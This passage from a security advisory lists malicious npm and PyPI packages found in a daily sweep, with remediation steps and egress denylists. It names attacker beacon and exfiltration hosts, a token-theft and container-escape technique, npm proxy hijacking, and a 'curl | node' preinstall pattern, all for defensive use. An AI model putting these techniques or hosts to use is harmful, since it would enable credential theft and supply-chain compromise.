- **Cluster G - 5-package `@galicia-toolkit/*` + `@design-system-coopeuch/web` dep-confusion probe cluster (dependency-confusion, CWE-506 boilerplate takedowns from Amazon Inspector / OpenSSF, no runtime IOC published)**: `@galicia-toolkit/core` (GHSA-ff43-rphq-9mgw), `@galicia-toolkit/error-master` (GHSA-42vv-c8c8-q765), `@galicia-toolkit/tag-manager` (GHSA-q3gj-mpgg-cqpv), `@galicia-toolkit/spa-build-config` (GHSA-7hx2-c7qp-ggjp), plus `@design-system-coopeuch/web` (GHSA-vhjp-6vjm-vq35). All five scoped names strongly suggest internal registries (a "galicia-toolkit" dev-tooling monorepo and the Coopeuch design-system package) and all were published and quarantined on 2026-10-08. The GHSA bodies are "fully compromised" CWE-506 boilerplate with no IOC detail; the operator profile and scoped-name fingerprint are consistent with dep-confusion rather than typosquats. Classified `dependency-confusion`, severity `medium` (CWE-506 takedown, no IOC body)
- **Cluster H - 9 npm dev-tooling typosquats and CWE-506 boilerplate takedowns (typosquat/malicious-package mixed, no published IOCs)**: `tailwindcss-ui-extensions` (GHSA-9ww2-25r2-rppg) and `tailwindcss-effects-kit` (GHSA-9c94-xcv7-wcf4) are Tailwind-ecosystem typosquats aimed at consumers of the real `tailwindcss` + `tailwindcss-animated` + `tailwindcss-animatecss` sets; `node-gyp-runtime` (GHSA-v64f-f8pp-4qx2) typosquats the real `node-gyp` + `node-gyp-build`; `node-env-resolve` (GHSA-fw57-xw67-r253) typosquats `dotenv` + `dotenv-expand`; `node-fetch-lite` (GHSA-cfmp-vp7q-257m) typosquats `node-fetch`; `dom-utils-lite` (GHSA-v6fr-pvhf-6rh5) typosquats dev-dependency `dom-utils`; `system-driver` (GHSA-43w2-g2fc-r4h3), `connector-agent` (GHSA-422j-hgjh-g8fg), and `centralogger` (GHSA-wpw7-2rgx-4cfm) are dev-tooling-themed first-publish malicious lures with no obvious legitimate upstream. All nine are CWE-506 boilerplate takedowns with no IOCs. Classified `typosquat` or `malicious-package` per the fingerprint; severity `medium`
- **Cluster I - 3 npm standalone CWE-506 boilerplate takedowns (`revine`, `brat-generator`, `clickfix_npm_delivery`) (malicious-package, no published IOC body)**: `revine@2.4.0` (GHSA-gr77-3hqf-674h, 2026-10-08), `brat-generator` all versions (GHSA-m45c-2rh6-33g6), and `clickfix_npm_delivery@1.0.0`/`1.0.2` (GHSA-37h8-m54m-784j). The `clickfix_npm_delivery` name is notable - "ClickFix" is a well-known social-engineering malware-delivery pattern (a fake browser error dialog telling the user to paste a malicious `powershell`/`curl` command into their terminal to "fix" a problem) and seeing the name hard-coded in an npm package suggests an npm-side arm of a broader ClickFix campaign or a defensive namespace-hold, but the GHSA body is boilerplate and the npm registry entry has been pulled. Severity `medium` on all three
- **Cluster J - 2-package pypi `kafka-roller`+`kafka-helmsman` dep-confusion probe (dependency-confusion, OpenSSF Package Analysis flagged for communicating with a domain associated with malicious activity, 99.x sentinel version fingerprint)**: `kafka-roller@99.0.0..99.0.6` (GHSA-8798-7m3x-mq4q, OSV MAL-2026-17703) and `kafka-helmsman@99.0.1..99.0.6` (GHSA-r3f3-f28g-rc9x, OSV MAL-2026-17702). Both PyPI dep-confusion probes against internal-looking `kafka-*` operations tooling at a 99.x sentinel version, both flagged by OpenSSF Package Analysis for outbound communication to a malicious-activity-associated domain (the specific domain is not disclosed in the GHSA body). Classified `dependency-confusion`, severity `medium`
- **Operator continuity check**: today has three confirmed operator continuations - **xwise8887** (yesterday's `troubleshooting`+`browser-metrics-plugin.contrib` → today's `wie888r`+`testrrrd`+`xblaxw`+`@wxwxtest/testrrrdd`, same `185.158.107.175:8787/_ah/dc` beacon URL to the character), the **Wix dep-confusion operator** (yesterday's `css-jptvix-polyfill`+`appsecc.com/js` → today's `wix-reg-poc-bypass`+`css-overscroll-contain`, same thunderboltRegistry/parastorage lures and same anti-Wix target profile), and the **nfjbill operator** (2026-08-07 `yakuza0@2.23.40` MAL-2026-13605 → today's `pxnpm@7.0.0`, same `nfjbill.ren` operator host and the same npm-proxy-weaponization primitive). The `internallib_v<N>` RFC1918 reverse-shell operator (yesterday`s Cluster A `v788`, 2026-10-07 `v23/30/86/875`, 2026-10-05 `v275`), the `reaperhackbot256f` operator (yesterday's `personio-pipeline-projen`), the jsonspack/Pinecone operators from 2026-10-07, and all 2026-10-05/06 operator profiles are quiet today. The tensorlake maintainer-account compromise (yesterday's [carve-out](https://dependencywatch.io/incident/npm-2026-10-08-tensorlake-maintainer-compromise)) has not had a wave-2 republish

## What to do

1. **For Cluster A (xwise8887 operator wave 2)**: grep lockfiles for `wie888r`, `testrrrd`, `xblaxw`, and `@wxwxtest/testrrrdd` at any version. On hit, assume install-time + import-time beacon fired to `http://185.158.107.175:8787/_ah/dc` under the xwise8887 operator - the beacon fires even with `--ignore-scripts` because the Proxy stub in `index.js` triggers `require(./beacon.cjs).fire()` on import. The egress block for `185.158.107.175:8787` from yesterday`s sweep (Cluster B) remains in force; add the four new package names to the internal denylist entry
2. **For Cluster B (Wix dep-confusion cluster, `css-overscroll-contain` K8s token theft)**: grep lockfiles for `wix-reg-poc-bypass` and `css-overscroll-contain`. On hit, **especially for `css-overscroll-contain@1.0.1/1.0.2/1.0.3`**: assume the host read `/var/run/secrets/kubernetes.io/serviceaccount/token`, scraped env variables matching secret-like patterns, attempted `unshare --user --mount` + `devtmpfs/cgroup/release_agent` container escape, and exfiltrated results to `https://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f`. **Rotate the Kubernetes service-account token** on any pod/node that resolved the package, rotate every env-exported credential the pod could reach, and audit `/proc/self/mountinfo` for lingering attacker mounts. Add `dxpoc.gt.tc`, `webhook.site/43022177-de67-4d5c-a6df-33083b2b026f`, and the `thunderboltRegistry.js`/`registry-manifest.min.json` filenames to detection rules. If your org publishes under Wix-internal `*Registry*` names, scope-lock the internal registry and hold the public slugs with placeholder packages
3. **For Cluster C (`pxnpm` npm proxy weaponization)**: grep lockfiles and global `npm` installs for `pxnpm` at `7.0.0-beta.6`/`7.0.0-beta.8`/`7.0.0`. On hit: assume the install downloaded a 17-21 MB Brotli archive from `registry-pxnpm.rdc.nfjbill.ren:20021`, extracted a 52-72 MB executable into `~/.cache/pxnpm/native/`, and rewrote `npm_config_registry`/`npm_config_proxy`/`npm_config_https_proxy` to route ALL subsequent npm traffic through `nfjbill.ren:20022` (a `gost` proxy under attacker control). **Treat the installer host as fully compromised** and **assume every npm package installed since the pxnpm install came from the attacker-controlled proxy, not from the public npm registry** - rebuild `node_modules` from scratch on a clean host from a trusted registry endpoint, with lockfile integrity verification. Delete `~/.cache/pxnpm/native/`. Add `nfjbill.ren` and all subdomains (`registry-pxnpm.rdc.nfjbill.ren` observed, but assume the operator owns the full apex) to the CI/build-host egress denylist. The 2026-08-07 `yakuza0@2.23.40` IOC `registry-pxnpm.rdc.nfjbill.ren` was already in prior denylists; today's advisory confirms operator continuity
4. **For Cluster D (`@bellaxchuu/*` + sibling Baileys lure cluster)**: grep lockfiles for `@bellaxchuu/*` (any of the 13 package suffixes: overbugs, familyxtrx, crystalred, libsignal-node, skyblue, xbailey, xtrxbails, velvetry, privatebails, flowblue, yarnbails, xbails, bails) plus `@xayz/libsignal-node`, `my-baileys`, and `@kxafunc/xbails`. On hit, treat as a Baileys/WhatsApp-automation lure - uninstall, delete `node_modules`, delete the lockfile, rebuild from a scope-locked internal registry. `@kxafunc/xbails` aliases `libsignal` to `npm:@bellaxchuu/libsignal-node@latest` in its `package.json`, so consumers of `@kxafunc/xbails` indirectly pull `@bellaxchuu/libsignal-node` even if their own lockfile does not pin the name. No specific network IOC published for the Baileys payload today, but add the `@bellaxchuu` and `@xayz` scopes to the internal denylist
5. **For Cluster E (`@dransay/*` dep-confusion probes, `oast.site`)**: grep lockfiles for `dransay` and `@dransay/*` (db, feature-flags, phone-fix-test, logger, secrets) at `99.0.0`. On hit, assume install-time beacon fired to `db3klhbi6i9hark1kegg174t38h33b6wt.oast.site` with the installer`s source IP, DNS resolver IP, and the package name. Rotate any env-exported credentials. Add `*.oast.site` apex and the specific canary subdomain to the CI/build-host egress denylist unless legitimately used by in-house red-team (yesterday`s denylist already contained `*.oast.fun` apex from the reaperhackbot256f operator; today adds `*.oast.site` apex). If your org`s internal registry publishes under `@dransay/*` names, scope-lock the internal registry and hold the public slug with a placeholder
6. **For Cluster F (`@bitwardne/*` Bitwarden typosquat)**: grep lockfiles for `@bitwardne/jslib@1.1.0` and `@bitwardne/cli@1.0.1`. On hit: although the `curl -L <empty_url> | node` preinstall URL is empty in the shipped tarball (so the current payload is a non-op), treat the installer host as potentially compromised anyway - the preinstall ran, which proves the typosquat succeeded in bypassing the user`s intention to install `@bitwarden/*`. **Audit for any legitimate Bitwarden CLI or jslib usage** that should have resolved to the real `@bitwarden` scope, and teach the correct spelling. Add `@bitwardne` scope (and other one-character variants of `@bitwarden`) to the internal denylist
7. **For Cluster G (`@galicia-toolkit/*` + `@design-system-coopeuch/web` dep-confusion)**: grep lockfiles for `@galicia-toolkit/*` (core, error-master, tag-manager, spa-build-config) and `@design-system-coopeuch/web`. On hit, uninstall. No specific IOCs published (CWE-506 boilerplate) but if the scoped names map to your org`s internal registry, scope-lock and hold the public slugs with placeholders
8. **For Cluster H (9 npm dev-tooling typosquats)**: grep lockfiles for `tailwindcss-ui-extensions`, `tailwindcss-effects-kit`, `node-gyp-runtime`, `node-env-resolve`, `node-fetch-lite`, `dom-utils-lite`, `system-driver`, `connector-agent`, `centralogger`. On hit, uninstall, delete `node_modules`, delete lockfile, rebuild. Teach the correct spellings: `tailwindcss` not `tailwindcss-ui-extensions`; `node-gyp` + `node-gyp-build` not `node-gyp-runtime`; `dotenv` + `dotenv-expand` not `node-env-resolve`; `node-fetch` not `node-fetch-lite`; `dom-utils` not `dom-utils-lite`. No specific IOCs published
9. **For Cluster I (standalones: `revine`, `brat-generator`, `clickfix_npm_delivery`)**: grep lockfiles for all three. On hit, uninstall. **Note on `clickfix_npm_delivery`**: the name maps to the well-known "ClickFix" social-engineering malware-delivery family (fake browser error dialogs that instruct the user to paste a `curl`/`powershell` command into their terminal) - treat any host that installed the package as potentially staged for a ClickFix-style second-stage drop even though no payload IOC was published in the GHSA body
10. **For Cluster J (pypi `kafka-roller`+`kafka-helmsman` dep-confusion)**: grep `requirements.txt`, `pyproject.toml`, `Pipfile.lock`, `poetry.lock` for `kafka-roller` at `99.0.0..99.0.6` and `kafka-helmsman` at `99.0.1..99.0.6`. On hit, uninstall. If your org`s internal Python registry publishes `kafka-*` operations tooling under matching names, scope-lock and hold the PyPI slugs with placeholders
11. **NEW outbound denylist entries for CI/build-host egress proxies today**: `webhook.site/43022177-de67-4d5c-a6df-33083b2b026f` (Cluster B wix-reg-poc-bypass), `dxpoc.gt.tc` apex (Cluster B css-overscroll-contain), `nfjbill.ren` apex and all subdomains (Cluster C pxnpm/yakuza0 operator), `*.oast.site` apex (Cluster E @dransay). Keep prior egress blocks in place: `185.158.107.175:8787` (yesterday`s xwise8887 + today`s wave-2), `*.oast.fun` apex (yesterday`s reaperhackbot256f), `*.oastify.com`, `appsecc.com` (2026-10-07 Wix cluster), `storage.googleapis.com/depenconf/` + `ltidi.storage.googleapis.com` (2026-10-07), `10.0.19.0/24` + `10.0.49.0/24` (internallib_v<N> operator reverse-shells), `api.nm-streetwear.space` (2026-10-06), `discord.com/api/webhooks` + `api.telegram.org` (unless legitimately used), `ipify.org` + `ifconfig.me`, `gitflic.ru`, `api.wagmiwallet.org`, `backend-cybersecuritydashboard.onrender.com`, Monero mining pools, Ethereum mainnet / Sepolia / Arbitrum Sepolia RPC, `chinazhangsan.ccwu.cc`, `api.npoint.io`, `fabric-npm.gm-service.xyz`, `jsonkeeper.com`, `npm-canary.aveliscare.com`, Polygon RPC, `meta.brs.cx`, `s3://pkusinski-external/`, AWS account `631484165566`, Slack bot-token exfil, `s85r5k14qk.execute-api.us-east-1.amazonaws.com/prod/hook`, `tuamaeaquelaursa.com` publisher email domain (yesterday`s function-color/function-flag 2025-08-04 sleepers), and the `45.138.0.0/16` RubyGems wgkit CIDRs

## Check your own dependencies

- Check a package-lock.json against this incident: https://dependencywatch.io/check/package-lock-json
- Check a requirements.txt against this incident: https://dependencywatch.io/check/requirements-txt

The scan runs entirely in the browser; lockfile contents are never uploaded.

## References

- [GitHub Advisory Database - recent malware advisories](https://github.com/advisories?query=type%3Amalware&sort=published-desc) - GitHub
- [GHSA-fhmp-x3hx-6669 - npm wie888r (Cluster A - xwise8887 wave 2, 185.158.107.175:8787)](https://github.com/advisories/GHSA-fhmp-x3hx-6669) - GitHub
- [GHSA-w6fg-gwpf-x5xf - npm testrrrd (Cluster A)](https://github.com/advisories/GHSA-w6fg-gwpf-x5xf) - GitHub
- [GHSA-46q8-4h48-v8wc - npm xblaxw (Cluster A)](https://github.com/advisories/GHSA-46q8-4h48-v8wc) - GitHub
- [GHSA-8qcg-7j5r-xhvh - npm @wxwxtest/testrrrdd (Cluster A)](https://github.com/advisories/GHSA-8qcg-7j5r-xhvh) - GitHub
- [GHSA-v43v-p74g-hrf9 - npm wix-reg-poc-bypass (Cluster B - thunderboltRegistry lure, webhook.site collector)](https://github.com/advisories/GHSA-v43v-p74g-hrf9) - GitHub
- [GHSA-hjq9-gv63-8hh8 - npm css-overscroll-contain (Cluster B - K8s SA-token theft + container escape, dxpoc.gt.tc exfil)](https://github.com/advisories/GHSA-hjq9-gv63-8hh8) - GitHub
- [GHSA-h3fw-vmw2-h9xc - npm pxnpm (Cluster C - nfjbill operator npm proxy weaponization)](https://github.com/advisories/GHSA-h3fw-vmw2-h9xc) - GitHub
- [OSV MAL-2026-13605 - yakuza0 (Cluster C operator continuity - same nfjbill.ren host, 2026-08-07)](https://osv.dev/vulnerability/MAL-2026-13605) - OpenSSF
- [GHSA-mhqg-97g5-qg8m - npm @bellaxchuu/overbugs (Cluster D - Baileys lure cluster)](https://github.com/advisories/GHSA-mhqg-97g5-qg8m) - GitHub
- [GHSA-3x55-8979-2xhq - npm @bellaxchuu/libsignal-node (Cluster D - libsignal brand impersonation)](https://github.com/advisories/GHSA-3x55-8979-2xhq) - GitHub
- [GHSA-pxp7-vhfv-j52j - npm @bellaxchuu/bails (Cluster D - Baileys scope impersonation)](https://github.com/advisories/GHSA-pxp7-vhfv-j52j) - GitHub
- [GHSA-mwq7-c4ww-fpfq - npm @bellaxchuu/xbails (Cluster D)](https://github.com/advisories/GHSA-mwq7-c4ww-fpfq) - GitHub
- [GHSA-mff5-fqw5-7vhj - npm @bellaxchuu/yarnbails (Cluster D)](https://github.com/advisories/GHSA-mff5-fqw5-7vhj) - GitHub
- [GHSA-f748-f8w7-hf22 - npm @xayz/libsignal-node (Cluster D sibling)](https://github.com/advisories/GHSA-f748-f8w7-hf22) - GitHub
- [GHSA-6v2q-p64f-6cp6 - npm my-baileys (Cluster D sibling)](https://github.com/advisories/GHSA-6v2q-p64f-6cp6) - GitHub
- [GHSA-5prw-6f85-2mmg - npm @kxafunc/xbails (Cluster D - package.json aliases libsignal to @bellaxchuu/libsignal-node)](https://github.com/advisories/GHSA-5prw-6f85-2mmg) - GitHub
- [GHSA-j2mr-7vj7-w5rq - npm dransay (Cluster E - oast.site dep-confusion probe, 99.0.0 sentinel)](https://github.com/advisories/GHSA-j2mr-7vj7-w5rq) - GitHub
- [GHSA-gf65-f25f-jwqv - npm @dransay/db (Cluster E)](https://github.com/advisories/GHSA-gf65-f25f-jwqv) - GitHub
- [GHSA-rhg6-g966-4wxg - npm @dransay/feature-flags (Cluster E - OAST canary db3klhbi6i9hark1kegg174t38h33b6wt.oast.site)](https://github.com/advisories/GHSA-rhg6-g966-4wxg) - GitHub
- [GHSA-4jfw-qx8x-7gv2 - npm @dransay/phone-fix-test (Cluster E)](https://github.com/advisories/GHSA-4jfw-qx8x-7gv2) - GitHub
- [GHSA-7v9w-pmg3-8ww9 - npm @dransay/logger (Cluster E)](https://github.com/advisories/GHSA-7v9w-pmg3-8ww9) - GitHub
- [GHSA-3qj5-xv6j-m8j4 - npm @dransay/secrets (Cluster E)](https://github.com/advisories/GHSA-3qj5-xv6j-m8j4) - GitHub
- [GHSA-x8j2-59mv-fr7h - npm @bitwardne/jslib (Cluster F - Bitwarden typosquat, preinstall curl|node)](https://github.com/advisories/GHSA-x8j2-59mv-fr7h) - GitHub
- [GHSA-5mwm-46h7-pv2h - npm @bitwardne/cli (Cluster F - Bitwarden typosquat)](https://github.com/advisories/GHSA-5mwm-46h7-pv2h) - GitHub
- [GHSA-ff43-rphq-9mgw - npm @galicia-toolkit/core (Cluster G - internal dep-confusion)](https://github.com/advisories/GHSA-ff43-rphq-9mgw) - GitHub
- [GHSA-42vv-c8c8-q765 - npm @galicia-toolkit/error-master (Cluster G)](https://github.com/advisories/GHSA-42vv-c8c8-q765) - GitHub
- [GHSA-q3gj-mpgg-cqpv - npm @galicia-toolkit/tag-manager (Cluster G)](https://github.com/advisories/GHSA-q3gj-mpgg-cqpv) - GitHub
- [GHSA-7hx2-c7qp-ggjp - npm @galicia-toolkit/spa-build-config (Cluster G)](https://github.com/advisories/GHSA-7hx2-c7qp-ggjp) - GitHub
- [GHSA-vhjp-6vjm-vq35 - npm @design-system-coopeuch/web (Cluster G - Coopeuch design-system dep-confusion)](https://github.com/advisories/GHSA-vhjp-6vjm-vq35) - GitHub
- [GHSA-9ww2-25r2-rppg - npm tailwindcss-ui-extensions (Cluster H - Tailwind typosquat)](https://github.com/advisories/GHSA-9ww2-25r2-rppg) - GitHub
- [GHSA-9c94-xcv7-wcf4 - npm tailwindcss-effects-kit (Cluster H - Tailwind typosquat)](https://github.com/advisories/GHSA-9c94-xcv7-wcf4) - GitHub
- [GHSA-v64f-f8pp-4qx2 - npm node-gyp-runtime (Cluster H - node-gyp typosquat)](https://github.com/advisories/GHSA-v64f-f8pp-4qx2) - GitHub
- [GHSA-fw57-xw67-r253 - npm node-env-resolve (Cluster H - dotenv typosquat)](https://github.com/advisories/GHSA-fw57-xw67-r253) - GitHub
- [GHSA-cfmp-vp7q-257m - npm node-fetch-lite (Cluster H - node-fetch typosquat)](https://github.com/advisories/GHSA-cfmp-vp7q-257m) - GitHub
- [GHSA-v6fr-pvhf-6rh5 - npm dom-utils-lite (Cluster H - dom-utils typosquat)](https://github.com/advisories/GHSA-v6fr-pvhf-6rh5) - GitHub
- [GHSA-43w2-g2fc-r4h3 - npm system-driver (Cluster H - dev-tooling first-publish lure)](https://github.com/advisories/GHSA-43w2-g2fc-r4h3) - GitHub
- [GHSA-422j-hgjh-g8fg - npm connector-agent (Cluster H)](https://github.com/advisories/GHSA-422j-hgjh-g8fg) - GitHub
- [GHSA-wpw7-2rgx-4cfm - npm centralogger (Cluster H)](https://github.com/advisories/GHSA-wpw7-2rgx-4cfm) - GitHub
- [GHSA-gr77-3hqf-674h - npm revine (Cluster I - standalone CWE-506 takedown)](https://github.com/advisories/GHSA-gr77-3hqf-674h) - GitHub
- [GHSA-m45c-2rh6-33g6 - npm brat-generator (Cluster I)](https://github.com/advisories/GHSA-m45c-2rh6-33g6) - GitHub
- [GHSA-37h8-m54m-784j - npm clickfix_npm_delivery (Cluster I - ClickFix-themed name, no payload IOC)](https://github.com/advisories/GHSA-37h8-m54m-784j) - GitHub
- [GHSA-8798-7m3x-mq4q - pypi kafka-roller (Cluster J - 99.x dep-confusion, flagged by OpenSSF Package Analysis)](https://github.com/advisories/GHSA-8798-7m3x-mq4q) - GitHub
- [GHSA-r3f3-f28g-rc9x - pypi kafka-helmsman (Cluster J)](https://github.com/advisories/GHSA-r3f3-f28g-rc9x) - GitHub
- [DependencyWatch: multi-2026-10-08-ghsa-malware-sweep (prior-day context: xwise8887 wave 1, Wix cluster wave 1, tensorlake carve-out)](https://dependencywatch.io/incident/multi-2026-10-08-ghsa-malware-sweep)
- [DependencyWatch: npm-2026-10-08-tensorlake-maintainer-compromise (yesterday's carved-out maintainer compromise)](https://dependencywatch.io/incident/npm-2026-10-08-tensorlake-maintainer-compromise)

---

Canonical page: https://dependencywatch.io/incident/multi-2026-10-09-ghsa-malware-sweep
Markdown version: https://dependencywatch.io/incident/multi-2026-10-09-ghsa-malware-sweep.md
Site index for agents: https://dependencywatch.io/llms.txt
DependencyWatch.io is operated by Precursor Security (https://precursorsecurity.com).